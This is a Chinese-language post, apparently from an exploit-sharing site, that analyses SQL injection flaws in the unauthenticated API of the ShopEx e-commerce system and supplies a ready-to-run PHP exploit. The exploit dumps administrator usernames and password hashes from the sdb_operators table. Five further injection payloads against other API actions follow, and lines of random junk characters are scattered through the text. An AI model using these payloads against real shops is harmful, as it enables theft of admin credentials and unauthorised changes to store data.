shopEx最新版的API注入漏洞分析附利用exp

admin

缺陷文件：\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
9 c  z0 I- _8 ?4 Y6 O$ p" [
& d( T4 p$ }$ s第44行 $data['columns'] 未做过滤导致注入
2 `8 M3 U& ?6 l
& j# b7 B' G5 E/ j& z5 C& s<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证，任何用户都可访问,攻击者可通过它来对产品的分类，类型，规格，品牌等，进行添加，删除和修改，过滤不当还可造成注入.

& w+ Q3 E: Y% h( y6 N$ ?注射1：

5 {* q8 O3 E5 U9 ?3 {http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#

注射2：
8 Q; L/ T0 o0 P7 k4 j, Phttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
5 l" a5 m$ @, m/ K8 |3 D& {6 K
& A  E$ N+ N8 [, C: v注射3：
8 M( }3 M; Q2 L) S* E  http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
& N& ~- x2 L, v  s# a注射4：

" b3 H6 Q! ^. A$ `3 l# x- S+ _http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
) ~% i9 j- A4 z$ J" C

0 @# `' U9 y( ]注射5：
  http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
+ w0 h- b3 M- ]4 q+ Y
% J; e' f" x: y7 ^  `; U& I& _
5 V  Y4 H  |2 p) K0 L. f5 `



# [% t# ^* N, d$ m' P* [- _% ]